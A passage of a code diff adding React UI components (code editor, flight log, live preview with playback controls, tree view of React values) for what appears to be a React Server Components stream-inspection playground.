className="embed-btn" onClick={() => setShowEmbedModal(true)} title="Embed"> 213 + <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2"> 214 + <polyline points="16 18 22 12 16 6" /> 215 + <polyline points="8 6 2 12 8 18" /> 216 + </svg> 217 + </button> 218 + </div> 219 + <div className="header-spacer" /> 220 + <BuildSwitcher /> 221 + </header> 222 + <iframe 223 + ref={iframeRef} 224 + src="embed.html" 225 + style={{ flex: 1, border: 'none', width: '100%' }} 226 + /> 227 + {showEmbedModal && ( 228 + <EmbedModal code={liveCode} onClose={() => setShowEmbedModal(false)} /> 229 + )} 230 + </> 231 + ); 232 + }
+82
src/client/ui/CodeEditor.jsx
··· 1 + import React, { useRef, useEffect, useEffectEvent } from "react"; 2 + import { EditorView, keymap } from "@codemirror/view"; 3 + import { javascript } from "@codemirror/lang-javascript"; 4 + import { syntaxHighlighting, HighlightStyle } from "@codemirror/language"; 5 + import { tags } from "@lezer/highlight"; 6 + import { history, historyKeymap } from "@codemirror/commands"; 7 + import { closeBrackets, closeBracketsKeymap } from "@codemirror/autocomplete"; 8 + import { defaultKeymap } from "@codemirror/commands"; 9 + 10 + const highlightStyle = HighlightStyle.define([ 11 + { tag: tags.keyword, color: "#c678dd" }, 12 + { tag: tags.string, color: "#98c379" }, 13 + { tag: tags.number, color: "#d19a66" }, 14 + { tag: tags.comment, color: "#5c6370", fontStyle: "italic" }, 15 + { tag: tags.function(tags.variableName), color: "#61afef" }, 16 + { tag: tags.typeName, color: "#e5c07b" }, 17 + { tag: [tags.tagName, tags.angleBracket], color: "#e06c75" }, 18 + { tag: tags.attributeName, color: "#d19a66" }, 19 + { tag: tags.propertyName, color: "#abb2bf" }, 20 + ]); 21 + 22 + const minimalTheme = EditorView.theme( 23 + { 24 + "&": { height: "100%", fontSize: "13px", backgroundColor: "transparent" }, 25 + ".cm-scroller": { 26 + overflow: "auto", 27 + fontFamily: "'SF Mono', 'Fira Code', Menlo, monospace", 28 + lineHeight: "1.6", 29 + padding: "12px", 30 + }, 31 + ".cm-content": { caretColor: "#79b8ff" }, 32 + ".cm-cursor": { borderLeftColor: "#79b8ff", borderLeftWidth: "2px" }, 33 + ".cm-selectionBackground, &.cm-focused .cm-selectionBackground": { 34 + backgroundColor: "#3a3a3a", 35 + }, 36 + ".cm-activeLine": { backgroundColor: "transparent" }, 37 + ".cm-gutters": { display: "none" }, 38 + ".cm-line": { color: "#b8b8b8" }, 39 + }, 40 + { dark: true }, 41 + ); 42 + 43 + export function CodeEditor({ defaultValue, onChange, label }) { 44 + const containerRef = useRef(null); 45 + 46 + const onEditorChange = useEffectEvent((doc) => { 47 + onChange(doc); 48 + }); 49 + 50 + useEffect(() => { 51 + if (!containerRef.current) return; 52 + 53 + const onChangeExtension = EditorView.updateListener.of((update) => { 54 + if (update.docChanged) { 55 + onEditorChange(update.state.doc.toString()); 56 + } 57 + }); 58 + 59 + const editor = new EditorView({ 60 + doc: defaultValue, 61 + extensions: [ 62 + minimalTheme, 63 + syntaxHighlighting(highlightStyle), 64 + javascript({ jsx: true }), 65 + history(), 66 + closeBrackets(), 67 + keymap.of([...defaultKeymap, ...historyKeymap, ...closeBracketsKeymap]), 68 + onChangeExtension, 69 + ], 70 + parent: containerRef.current, 71 + }); 72 + 73 + return () => editor.destroy(); 74 + }, []); 75 + 76 + return ( 77 + <div className="pane"> 78 + <div className="pane-header">{label}</div> 79 + <div className="editor-container" ref={containerRef} /> 80 + </div> 81 + ); 82 + }
+198
src/client/ui/FlightLog.jsx
··· 1 + import React, { useState, useRef, useEffect } from 'react'; 2 + import { FlightTreeView } from './TreeView.jsx'; 3 + 4 + function escapeHtml(str) { 5 + return str.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;'); 6 + } 7 + 8 + function RenderLogView({ lines, chunkStart, cursor, flightPromise }) { 9 + const activeRef = useRef(null); 10 + const nextLineIndex = cursor >= chunkStart && cursor < chunkStart + lines.length 11 + ? cursor - chunkStart 12 + : -1; 13 + 14 + useEffect(() => { 15 + if (activeRef.current) { 16 + activeRef.current.scrollIntoView({ block: 'nearest', behavior: 'smooth' }); 17 + } 18 + }, [nextLineIndex]); 19 + 20 + if (lines.length === 0) return null; 21 + 22 + const getLineClass = (i) => { 23 + const globalChunk = chunkStart + i; 24 + if (globalChunk < cursor) return 'line-done'; 25 + if (globalChunk === cursor) return 'line-next'; 26 + return 'line-pending'; 27 + }; 28 + 29 + const showTree = cursor >= chunkStart; 30 + 31 + return ( 32 + <div className="log-entry-preview"> 33 + <div className="log-entry-split"> 34 + <div className="log-entry-flight-lines-wrapper"> 35 + <pre className="log-entry-flight-lines"> 36 + {lines.map((line, i) => ( 37 + <span 38 + key={i} 39 + ref={i === nextLineIndex ? activeRef : null} 40 + className={`flight-line ${getLineClass(i)}`} 41 + > 42 + {escapeHtml(line)} 43 + </span> 44 + ))} 45 + </pre> 46 + </div> 47 + <div className="log-entry-tree"> 48 + {showTree && <FlightTreeView flightPromise={flightPromise} />} 49 + </div> 50 + </div> 51 + </div> 52 + ); 53 + } 54 + 55 + function FlightLogEntry({ entry, entryIndex, chunkStart, cursor, canDelete, onDelete, getChunkCount }) { 56 + const chunkCount = getChunkCount(entry); 57 + const entryEnd = chunkStart + chunkCount; 58 + const isEntryActive = cursor >= chunkStart && cursor < entryEnd; 59 + const isEntryDone = cursor >= entryEnd; 60 + 61 + const entryClass = isEntryActive ? 'active' : isEntryDone ? 'done-entry' : 'pending-entry'; 62 + 63 + if (entry.type === 'render') { 64 + const lines = entry.stream?.rows || []; 65 + return ( 66 + <div className={`log-entry ${entryClass}`}> 67 + <div className="log-entry-header"> 68 + <span className="log-entry-label">Render</span> 69 + <span className="log-entry-header-right"> 70 + {canDelete && ( 71 + <button className="delete-entry-btn" onClick={() => onDelete(entryIndex)} title="Delete">×</button> 72 + )} 73 + </span> 74 + </div> 75 + <RenderLogView 76 + lines={lines} 77 + chunkStart={chunkStart} 78 + cursor={cursor} 79 + flightPromise={entry.stream?.flightPromise} 80 + /> 81 + </div> 82 + ); 83 + } 84 + 85 + if (entry.type === 'action') { 86 + const responseLines = entry.stream?.rows || []; 87 + 88 + return ( 89 + <div className={`log-entry ${entryClass}`}> 90 + <div className="log-entry-header"> 91 + <span className="log-entry-label">Action: {entry.name}</span> 92 + <span className="log-entry-header-right"> 93 + {canDelete && ( 94 + <button className="delete-entry-btn" onClick={() => onDelete(entryIndex)} title="Delete">×</button> 95 + )} 96 + </span> 97 + </div> 98 + {entry.args && ( 99 + <div className="log-entry-request"> 100 + <pre className="log-entry-request-args">{entry.args}</pre> 101 + </div> 102 + )} 103 + <RenderLogView 104 + lines={responseLines} 105 + chunkStart={chunkStart} 106 + cursor={cursor} 107 + flightPromise={entry.stream?.flightPromise} 108 + /> 109 + </div> 110 + ); 111 + } 112 + 113 + return null; 114 + } 115 + 116 + export function FlightLog({ timeline, entries, cursor, error, availableActions, onAddRawAction, onDeleteEntry }) { 117 + const logRef = useRef(null); 118 + const [showRawInput, setShowRawInput] = useState(false); 119 + const [selectedAction, setSelectedAction] = useState(''); 120 + const [rawPayload, setRawPayload] = useState(''); 121 + 122 + const handleAddRaw = () => { 123 + if (rawPayload.trim()) { 124 + onAddRawAction(selectedAction, rawPayload); 125 + setSelectedAction(availableActions[0] || ''); 126 + setRawPayload(''); 127 + setShowRawInput(false); 128 + } 129 + }; 130 + 131 + const handleShowRawInput = () => { 132 + setSelectedAction(availableActions[0] || ''); 133 + setShowRawInput(true); 134 + }; 135 + 136 + if (error) { 137 + return <pre className="flight-output error">{error}</pre>; 138 + } 139 + 140 + if (entries.length === 0) { 141 + return <div className="flight-output"><span className="empty waiting-dots">Compiling</span></div>; 142 + } 143 + 144 + let chunkOffset = 0; 145 + const getChunkCount = (entry) => timeline.getChunkCount(entry); 146 + 147 + return ( 148 + <div className="flight-log" ref={logRef}> 149 + {entries.map((entry, i) => { 150 + const chunkStart = chunkOffset; 151 + chunkOffset += getChunkCount(entry); 152 + 153 + return ( 154 + <FlightLogEntry 155 + key={i} 156 + entry={entry} 157 + entryIndex={i} 158 + chunkStart={chunkStart} 159 + cursor={cursor} 160 + canDelete={timeline.canDeleteEntry(i)} 161 + onDelete={onDeleteEntry} 162 + getChunkCount={getChunkCount} 163 + /> 164 + ); 165 + })} 166 + {availableActions.length > 0 && (showRawInput ? ( 167 + <div className="raw-input-form"> 168 + <select 169 + value={selectedAction} 170 + onChange={(e) => setSelectedAction(e.target.value)} 171 + className="raw-input-action" 172 + > 173 + {availableActions.map(action => ( 174 + <option key={action} value={action}>{action}</option> 175 + ))} 176 + </select> 177 + <textarea 178 + placeholder="Paste a request payload from a real action" 179 + value={rawPayload} 180 + onChange={(e) => setRawPayload(e.target.value)} 181 + className="raw-input-payload" 182 + rows={6} 183 + /> 184 + <div className="raw-input-buttons"> 185 + <button onClick={handleAddRaw} disabled={!rawPayload.trim()}>Add</button> 186 + <button onClick={() => setShowRawInput(false)}>Cancel</button> 187 + </div> 188 + </div> 189 + ) : ( 190 + <div className="add-raw-btn-wrapper"> 191 + <button className="add-raw-btn" onClick={handleShowRawInput} title="Add action"> 192 + + 193 + </button> 194 + </div> 195 + ))} 196 + </div> 197 + ); 198 + }
+154
src/client/ui/LivePreview.jsx
··· 1 + import React, { Suspense, Component, useState, useEffect, useSyncExternalStore } from 'react'; 2 + 3 + class PreviewErrorBoundary extends Component { 4 + constructor(props) { 5 + super(props); 6 + this.state = { error: null }; 7 + } 8 + 9 + static getDerivedStateFromError(error) { 10 + return { error }; 11 + } 12 + 13 + render() { 14 + if (this.state.error) { 15 + return ( 16 + <span className="empty error"> 17 + Error: {this.state.error.message || String(this.state.error)} 18 + </span> 19 + ); 20 + } 21 + return this.props.children; 22 + } 23 + } 24 + 25 + function StreamingContent({ streamPromise }) { 26 + return React.use(streamPromise); 27 + } 28 + 29 + export function LivePreview({ 30 + timeline, 31 + clientModuleReady, 32 + totalChunks, 33 + cursor, 34 + isAtStart, 35 + isAtEnd, 36 + onStep, 37 + onSkip, 38 + onReset 39 + }) { 40 + const snapshot = useSyncExternalStore(timeline.subscribe, timeline.getSnapshot); 41 + const { entries } = snapshot; 42 + const renderEntry = entries[0]; 43 + const flightPromise = renderEntry?.stream?.flightPromise; 44 + 45 + const [isPlaying, setIsPlaying] = useState(false); 46 + 47 + useEffect(() => { 48 + if (!isPlaying || isAtEnd) { 49 + if (isAtEnd) setIsPlaying(false); 50 + return; 51 + } 52 + const timer = setTimeout(() => onStep(), 300); 53 + return () => clearTimeout(timer); 54 + }, [isPlaying, isAtEnd, onStep, cursor]); 55 + 56 + useEffect(() => { 57 + setIsPlaying(false); 58 + }, [totalChunks]); 59 + 60 + const showPlaceholder = !clientModuleReady || cursor === 0; 61 + 62 + const handlePlayPause = () => setIsPlaying(!isPlaying); 63 + const handleStep = () => { setIsPlaying(false); onStep(); }; 64 + const handleSkip = () => { setIsPlaying(false); onSkip(); }; 65 + const handleReset = () => { setIsPlaying(false); onReset(); }; 66 + 67 + let statusText = ''; 68 + if (isAtStart) { 69 + statusText = 'Ready'; 70 + } else if (isAtEnd) { 71 + statusText = 'Done'; 72 + } else { 73 + statusText = `${cursor} / ${totalChunks}`; 74 + } 75 + 76 + return ( 77 + <div className="pane preview-pane"> 78 + <div className="pane-header">preview</div> 79 + <div className="playback-container"> 80 + <div className="playback-controls"> 81 + <button 82 + className="control-btn" 83 + onClick={handleReset} 84 + disabled={isAtStart} 85 + title="Reset" 86 + > 87 + <svg width="16" height="16" viewBox="0 0 16 16" fill="currentColor"> 88 + <path d="M8 1a7 7 0 1 1-7 7h1.5a5.5 5.5 0 1 0 1.6-3.9L6 6H1V1l1.6 1.6A7 7 0 0 1 8 1z"/> 89 + </svg> 90 + </button> 91 + <button 92 + className={`control-btn play-btn${isPlaying ? ' playing' : ''}`} 93 + onClick={handlePlayPause} 94 + disabled={isAtEnd} 95 + title={isPlaying ? 'Pause' : 'Play'} 96 + > 97 + {isPlaying ? ( 98 + <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor"> 99 + <path d="M6 19h4V5H6v14zm8-14v14h4V5h-4z"/> 100 + </svg> 101 + ) : ( 102 + <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor"> 103 + <path d="M8 5v14l11-7L8 5z"/> 104 + </svg> 105 + )} 106 + </button> 107 + <button 108 + className={`control-btn ${!isAtEnd ? 'step-btn' : ''}`} 109 + onClick={handleStep} 110 + disabled={isAtEnd} 111 + title="Step forward" 112 + > 113 + <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2.5"> 114 + <path d="M9 6l6 6-6 6"/> 115 + </svg> 116 + </button> 117 + <button 118 + className="control-btn" 119 + onClick={handleSkip} 120 + disabled={isAtEnd} 121 + title="Skip to end" 122 + > 123 + <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor"> 124 + <path d="M5.5 18V6l9 6-9 6zm9-12h2v12h-2V6z"/> 125 + </svg> 126 + </button> 127 + </div> 128 + <input 129 + type="range" 130 + min="0" 131 + max={totalChunks} 132 + value={cursor} 133 + onChange={() => {}} 134 + disabled 135 + className="step-slider" 136 + /> 137 + <span className="step-info">{statusText}</span> 138 + </div> 139 + <div className="preview-container"> 140 + {showPlaceholder ? ( 141 + <span className="empty"> 142 + {isAtStart ? 'Step to begin...' : 'Loading...'} 143 + </span> 144 + ) : flightPromise ? ( 145 + <PreviewErrorBoundary> 146 + <Suspense fallback={<span className="empty">Loading...</span>}> 147 + <StreamingContent streamPromise={flightPromise} /> 148 + </Suspense> 149 + </PreviewErrorBoundary> 150 + ) : null} 151 + </div> 152 + </div> 153 + ); 154 + }
+459
src/client/ui/TreeView.jsx
··· 1 + import React, { Suspense, Component } from 'react'; 2 + 3 + function isReactElement(value) { 4 + if (!value || typeof value !== 'object') return false; 5 + const typeofSymbol = value.$$typeof; 6 + return typeofSymbol === Symbol.for('react.transitional.element'); 7 + } 8 + 9 + function escapeHtml(str) { 10 + return str.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;'); 11 + } 12 + 13 + function PendingFallback() { 14 + return <span className="tree-pending">Pending</span>; 15 + } 16 + 17 + function ErrorFallback({ error }) { 18 + const message = error?.message || String(error); 19 + return <span className="tree-error">Error: {message}</span>; 20 + } 21 + 22 + class ErrorBoundary extends Component { 23 + constructor(props) { 24 + super(props); 25 + this.state = { error: null }; 26 + } 27 + 28 + static getDerivedStateFromError(error) { 29 + return { error }; 30 + } 31 + 32 + render() { 33 + if (this.state.error) { 34 + return <ErrorFallback error={this.state.error} />; 35 + } 36 + return this.props.children; 37 + } 38 + } 39 + 40 + function Await({ promise, children }) { 41 + const value = React.use(promise); 42 + return children(value); 43 + } 44 + 45 + function LazyValue({ value, indent, ancestors = [] }) { 46 + const resolved = value._init(value._payload); 47 + return <JSXValue value={resolved} indent={indent} ancestors={ancestors} />; 48 + } 49 + 50 + function LazyType({ element, indent, ancestors = [] }) { 51 + const resolvedType = element.type._init(element.type._payload); 52 + const newElement = { ...element, type: resolvedType }; 53 + return <JSXElement element={newElement} indent={indent} ancestors={ancestors} />; 54 + } 55 + 56 + // `ancestors` tracks the current path for cycle detection 57 + function JSXValue({ value, indent = 0, ancestors = [] }) { 58 + if (value === null) return <span className="tree-null">null</span>; 59 + if (value === undefined) return <span className="tree-undefined">undefined</span>; 60 + 61 + if (typeof value === 'string') { 62 + const display = value.length > 50 ? value.slice(0, 50) + '...' : value; 63 + return <span className="tree-string">"{escapeHtml(display)}"</span>; 64 + } 65 + if (typeof value === 'number') { 66 + const display = Object.is(value, -0) ? '-0' : String(value); 67 + return <span className="tree-number">{display}</span>; 68 + } 69 + if (typeof value === 'bigint') { 70 + return <span className="tree-number">{String(value)}n</span>; 71 + } 72 + if (typeof value === 'boolean') return <span className="tree-boolean">{String(value)}</span>; 73 + if (typeof value === 'symbol') { 74 + return <span className="tree-symbol">{value.toString()}</span>; 75 + } 76 + if (typeof value === 'function') { 77 + return <span className="tree-function">[Function: {value.name || 'anonymous'}]</span>; 78 + } 79 + 80 + if (typeof value === 'object' && value !== null) { 81 + if (ancestors.includes(value)) { 82 + return <span className="tree-circular">[Circular]</span>; 83 + } 84 + } 85 + 86 + const nextAncestors = typeof value === 'object' && value !== null 87 + ? [...ancestors, value] 88 + : ancestors; 89 + 90 + if (value instanceof Date) { 91 + return <span className="tree-date">Date({value.toISOString()})</span>; 92 + } 93 + 94 + if (value instanceof Map) { 95 + if (value.size === 0) return <span className="tree-collection">Map(0) {'{}'}</span>; 96 + const pad = ' '.repeat(indent + 1); 97 + const closePad = ' '.repeat(indent); 98 + return ( 99 + <> 100 + <span className="tree-collection">Map({value.size}) {'{\n'}</span> 101 + {Array.from(value.entries()).map(([k, v], i) => ( 102 + <React.Fragment key={i}> 103 + {pad}<JSXValue value={k} indent={indent + 1} ancestors={nextAncestors} /> =&gt; <JSXValue value={v} indent={indent + 1} ancestors={nextAncestors} /> 104 + {i < value.size - 1 ? ',' : ''}{'\n'} 105 + </React.Fragment> 106 + ))} 107 + {closePad}{'}'} 108 + </> 109 + ); 110 + } 111 + 112 + if (value instanceof Set) { 113 + if (value.size === 0) return <span className="tree-collection">Set(0) {'{}'}</span>; 114 + const pad = ' '.repeat(indent + 1); 115 + const closePad = ' '.repeat(indent); 116 + return ( 117 + <> 118 + <span className="tree-collection">Set({value.size}) {'{\n'}</span> 119 + {Array.from(value).map((v, i) => ( 120 + <React.Fragment key={i}> 121 + {pad}<JSXValue value={v} indent={indent + 1} ancestors={nextAncestors} /> 122 + {i < value.size - 1 ? ',' : ''}{'\n'} 123 + </React.Fragment> 124 + ))} 125 + {closePad}{'}'} 126 + </> 127 + ); 128 + } 129 + 130 + if (value instanceof FormData) { 131 + const entries = Array.from(value.entries()); 132 + if (entries.length === 0) return <span className="tree-collection">FormData {'{}'}</span>; 133 + const pad = ' '.repeat(indent + 1); 134 + const closePad = ' '.repeat(indent); 135 + return ( 136 + <> 137 + <span className="tree-collection">FormData {'{\n'}</span> 138 + {entries.map(([k, v], i) => ( 139 + <React.Fragment key={i}> 140 + {pad}<span className="tree-key">{k}</span>: <JSXValue value={v} indent={indent + 1} ancestors={nextAncestors} /> 141 + {i < entries.length - 1 ? ',' : ''}{'\n'} 142 + </React.Fragment> 143 + ))} 144 + {closePad}{'}'} 145 + </> 146 + ); 147 + } 148 + 149 + if (value instanceof Blob) { 150 + return <span className="tree-collection">Blob({value.size} bytes, "{value.type || 'application/octet-stream'}")</span>; 151 + } 152 + 153 + if (ArrayBuffer.isView(value)) { 154 + const name = value.constructor.name; 155 + const preview = Array.from(value.slice(0, 5)).join(', '); 156 + const suffix = value.length > 5 ? ', ...' : ''; 157 + return <span className="tree-collection">{name}({value.length}) [{preview}{suffix}]</span>; 158 + } 159 + if (value instanceof ArrayBuffer) { 160 + return <span className="tree-collection">ArrayBuffer({value.byteLength} bytes)</span>; 161 + } 162 + 163 + if (Array.isArray(value)) { 164 + if (value.length === 0) return <>[]</>; 165 + const hasElements = value.some((v, i) => i in value && isReactElement(v)); 166 + 167 + const renderItem = (i) => { 168 + if (!(i in value)) { 169 + return <span className="tree-empty">empty</span>; 170 + } 171 + return <JSXValue value={value[i]} indent={indent + 1} ancestors={nextAncestors} />; 172 + }; 173 + 174 + if (hasElements || value.length > 3) { 175 + const pad = ' '.repeat(indent + 1); 176 + const closePad = ' '.repeat(indent); 177 + return ( 178 + <> 179 + {'[\n'} 180 + {Array.from({ length: value.length }, (_, i) => ( 181 + <React.Fragment key={i}> 182 + {pad}{renderItem(i)} 183 + {i < value.length - 1 ? ',' : ''}{'\n'} 184 + </React.Fragment> 185 + ))} 186 + {closePad}] 187 + </> 188 + ); 189 + } 190 + return ( 191 + <> 192 + [ 193 + {Array.from({ length: value.length }, (_, i) => ( 194 + <React.Fragment key={i}> 195 + {renderItem(i)} 196 + {i < value.length - 1 ? ', ' : ''} 197 + </React.Fragment> 198 + ))} 199 + ] 200 + </> 201 + ); 202 + } 203 + 204 + if (isReactElement(value)) { 205 + return <JSXElement element={value} indent={indent} ancestors={nextAncestors} />; 206 + } 207 + 208 + if (typeof value === 'object') { 209 + if (typeof value.next === 'function' && typeof value[Symbol.iterator] === 'function') { 210 + return <span className="tree-iterator">Iterator {'{}'}</span>; 211 + } 212 + 213 + if (typeof value[Symbol.asyncIterator] === 'function') { 214 + return <span className="tree-iterator">AsyncIterator {'{}'}</span>; 215 + } 216 + 217 + if (value instanceof ReadableStream) { 218 + return <span className="tree-stream">ReadableStream {'{}'}</span>; 219 + } 220 + 221 + if (typeof value.then === 'function') { 222 + return ( 223 + <ErrorBoundary> 224 + <Suspense fallback={<PendingFallback />}> 225 + <Await promise={value}> 226 + {(resolved) => <JSXValue value={resolved} indent={indent} ancestors={nextAncestors} />} 227 + </Await> 228 + </Suspense> 229 + </ErrorBoundary> 230 + ); 231 + } 232 + 233 + if (value.$$typeof === Symbol.for('react.lazy')) { 234 + return ( 235 + <ErrorBoundary> 236 + <Suspense fallback={<PendingFallback />}> 237 + <LazyValue value={value} indent={indent} ancestors={nextAncestors} /> 238 + </Suspense> 239 + </ErrorBoundary> 240 + ); 241 + } 242 + 243 + const entries = Object.entries(value) 244 + if (entries.length === 0) return <>{'{}'}</>; 245 + if (entries.length <= 2 && entries.every(([, v]) => typeof v !== 'object' || v === null)) { 246 + return ( 247 + <> 248 + {'{ '} 249 + {entries.map(([k, v], i) => ( 250 + <React.Fragment key={k}> 251 + <span className="tree-key">{k}</span>: <JSXValue value={v} indent={indent} ancestors={nextAncestors} /> 252 + {i < entries.length - 1 ? ', ' : ''} 253 + </React.Fragment> 254 + ))} 255 + {' }'} 256 + </> 257 + ); 258 + } 259 + const pad = ' '.repeat(indent + 1); 260 + const closePad = ' '.repeat(indent); 261 + return ( 262 + <> 263 + {'{\n'} 264 + {entries.map(([k, v], i) => ( 265 + <React.Fragment key={k}> 266 + {pad}<span className="tree-key">{k}</span>: <JSXValue value={v} indent={indent + 1} ancestors={nextAncestors} /> 267 + {i < entries.length - 1 ? ',' : ''}{'\n'} 268 + </React.Fragment> 269 + ))} 270 + {closePad}{'}'} 271 + </> 272 + ); 273 + } 274 + 275 + return <span className="tree-unknown">{String(value)}</span>; 276 + } 277 + 278 + function JSXElement({ element, indent, ancestors = [] }) { 279 + const { type, props, key } = element; 280 + const pad = ' '.repeat(indent); 281 + const padInner = ' '.repeat(indent + 1); 282 + 283 + let tagName, tagClass = 'tree-tag'; 284 + if (typeof type === 'string') { 285 + tagName = type; 286 + } else if (typeof type === 'function') { 287 + tagName = type.displayName || type.name || 'Component'; 288 + tagClass = 'tree-client-tag'; 289 + } else if (typeof type === 'symbol') { 290 + switch (type) { 291 + case Symbol.for('react.fragment'): 292 + tagName = 'Fragment'; 293 + break; 294 + case Symbol.for('react.profiler'): 295 + tagName = 'Profiler'; 296 + break; 297 + case Symbol.for('react.strict_mode'): 298 + tagName = 'StrictMode'; 299 + break; 300 + case Symbol.for('react.suspense'): 301 + tagName = 'Suspense'; 302 + break; 303 + case Symbol.for('react.suspense_list'): 304 + tagName = 'SuspenseList'; 305 + break; 306 + case Symbol.for('react.activity'): 307 + tagName = 'Activity'; 308 + break; 309 + case Symbol.for('react.view_transition'): 310 + tagName = 'ViewTransition'; 311 + break; 312 + default: 313 + tagName = 'Unknown'; 314 + } 315 + tagClass = 'tree-react-tag'; 316 + } else if (type && typeof type === 'object' && type.$$typeof) { 317 + if (type.$$typeof === Symbol.for('react.lazy')) { 318 + return ( 319 + <ErrorBoundary> 320 + <Suspense fallback={<PendingFallback />}> 321 + <LazyType element={element} indent={indent} ancestors={ancestors} /> 322 + </Suspense> 323 + </ErrorBoundary> 324 + ); 325 + } 326 + tagName = 'Component'; 327 + tagClass = 'tree-client-tag'; 328 + } else { 329 + tagName = 'Unknown'; 330 + } 331 + 332 + const { children, ...otherProps } = props || {}; 333 + const propEntries = Object.entries(otherProps).filter(([k]) => 334 + !['key', 'ref', '__self', '__source'].includes(k) 335 + ); 336 + 337 + if (children === undefined || children === null || (Array.isArray(children) && children.length === 0)) { 338 + return ( 339 + <> 340 + <span className={tagClass}>&lt;{tagName}</span> 341 + {key != null && <> <span className="tree-prop-name">key</span>=<span className="tree-string">"{key}"</span></>} 342 + {propEntries.map(([k, v]) => ( 343 + <JSXProp key={k} name={k} value={v} indent={indent + 1} ancestors={ancestors} /> 344 + ))} 345 + <span className={tagClass}> /&gt;</span> 346 + </> 347 + ); 348 + } 349 + 350 + const hasComplexChildren = typeof children !== 'string' && typeof children !== 'number'; 351 + return ( 352 + <> 353 + <span className={tagClass}>&lt;{tagName}</span> 354 + {key != null && <> <span className="tree-prop-name">key</span>=<span className="tree-string">"{key}"</span></>} 355 + {propEntries.map(([k, v]) => ( 356 + <JSXProp key={k} name={k} value={v} indent={indent + 1} ancestors={ancestors} /> 357 + ))} 358 + <span className={tagClass}>&gt;</span> 359 + {hasComplexChildren ? ( 360 + <> 361 + {'\n'}{padInner}<JSXChildren value={children} indent={indent + 1} ancestors={ancestors} />{'\n'}{pad} 362 + </> 363 + ) : ( 364 + <JSXChildren value={children} indent={indent + 1} ancestors={ancestors} /> 365 + )} 366 + <span className={tagClass}>&lt;/{tagName}&gt;</span> 367 + </> 368 + ); 369 + } 370 + 371 + function JSXProp({ name, value, indent, ancestors = [] }) { 372 + if (typeof value === 'string') { 373 + return <> <span className="tree-prop-name">{name}</span>=<span className="tree-string">"{escapeHtml(value)}"</span></>; 374 + } 375 + if (isReactElement(value)) { 376 + const pad = ' '.repeat(indent); 377 + const closePad = ' '.repeat(indent - 1); 378 + return ( 379 + <> 380 + {' '}<span className="tree-prop-name">{name}</span>={'{'} 381 + {'\n'}{pad}<JSXValue value={value} indent={indent} ancestors={ancestors} />{'\n'}{closePad} 382 + {'}'} 383 + </> 384 + ); 385 + } 386 + if (Array.isArray(value) && value.some(v => isReactElement(v))) { 387 + const pad = ' '.repeat(indent); 388 + const closePad = ' '.repeat(indent - 1); 389 + return ( 390 + <> 391 + {' '}<span className="tree-prop-name">{name}</span>={'{['} 392 + {'\n'} 393 + {value.map((v, i) => ( 394 + <React.Fragment key={i}> 395 + {pad}<JSXValue value={v} indent={indent} ancestors={ancestors} /> 396 + {i < value.length - 1 ? ',' : ''}{'\n'} 397 + </React.Fragment> 398 + ))} 399 + {closePad}{']}'} 400 + </> 401 + ); 402 + } 403 + return <> <span className="tree-prop-name">{name}</span>={'{'}<JSXValue value={value} indent={indent} ancestors={ancestors} />{'}'}</>; 404 + } 405 + 406 + function JSXChildren({ value, indent, ancestors = [] }) { 407 + if (typeof value === 'string') return <>{escapeHtml(value)}</>; 408 + if (typeof value === 'number') return <>{'{' + value + '}'}</>; 409 + if (Array.isArray(value)) { 410 + const pad = ' '.repeat(indent); 411 + const hasComplex = value.some(v => isReactElement(v)); 412 + if (hasComplex) { 413 + return ( 414 + <> 415 + {value.map((child, i) => ( 416 + <React.Fragment key={i}> 417 + <JSXChildren value={child} indent={indent} ancestors={ancestors} /> 418 + {i < value.length - 1 ? '\n' + pad : ''} 419 + </React.Fragment> 420 + ))} 421 + </> 422 + ); 423 + } 424 + return ( 425 + <> 426 + {value.map((child, i) => ( 427 + <React.Fragment key={i}> 428 + <JSXChildren value={child} indent={indent} ancestors={ancestors} /> 429 + </React.Fragment> 430 + ))} 431 + </> 432 + ); 433 + } 434 + return <JSXValue value={value} indent={indent} ancestors={ancestors} />; 435 + } 436 + 437 + export function FlightTreeView({ flightPromise }) { 438 + if (!flightPromise) { 439 + return ( 440 + <div className="flight-tree"> 441 + <pre className="jsx-output"><PendingFallback /></pre> 442 + </div> 443 + ); 444 + } 445 + 446 + return ( 447 + <div className="flight-tree"> 448 + <pre className="jsx-output"> 449 + <ErrorBoundary> 450 + <Suspense fallback={<PendingFallback />}> 451 + <Await promise={flightPromise}> 452 + {(element) => <JSXValue value={element} indent={0} ancestors={[]} />} 453 + </Await> 454 + </Suspense> 455 + </ErrorBoundary> 456 + </pre> 457 + </div> 458 + ); 459 + }
+155
src/client/ui/Workspace.jsx
··· 1 + import React, { useState, useEffect, useRef, useCallback, useSyncExternalStore } from 'react'; 2 + import { encodeReply } from 'react-server-dom-webpack/client'; 3 + import { Timeline, SteppableStream, registerClientModule, evaluateClientModule } from '../runtime/index.js'; 4 + import { ServerWorker } from '../server-worker.js'; 5 + import { parseClientModule, parseServerActions, compileToCommonJS, buildManifest } from '../../shared/compiler.js'; 6 + import { CodeEditor } from './CodeEditor.jsx'; 7 + import { FlightLog } from './FlightLog.jsx'; 8 + import { LivePreview } from './LivePreview.jsx'; 9 + 10 + export function Workspace({ initialServerCode, initialClientCode, onCodeChange }) { 11 + const [serverCode, setServerCode] = useState(initialServerCode); 12 + const [clientCode, setClientCode] = useState(initialClientCode); 13 + const [serverWorker] = useState(() => new ServerWorker()); 14 + const [timeline] = useState(() => new Timeline()); 15 + const [callServerRef] = useState({ current: null }); 16 + 17 + const snapshot = useSyncExternalStore(timeline.subscribe, timeline.getSnapshot); 18 + const { entries, cursor, totalChunks, isAtStart, isAtEnd } = snapshot; 19 + 20 + const [clientModuleReady, setClientModuleReady] = useState(false); 21 + const [error, setError] = useState(null); 22 + const [availableActions, setAvailableActions] = useState([]); 23 + const compileTimeoutRef = useRef(null); 24 + 25 + useEffect(() => { 26 + window.__DEBUG_TIMELINE__ = timeline; 27 + }, [timeline]); 28 + 29 + const handleServerChange = (code) => { 30 + setServerCode(code); 31 + onCodeChange?.(code, clientCode); 32 + }; 33 + 34 + const handleClientChange = (code) => { 35 + setClientCode(code); 36 + onCodeChange?.(serverCode, code); 37 + }; 38 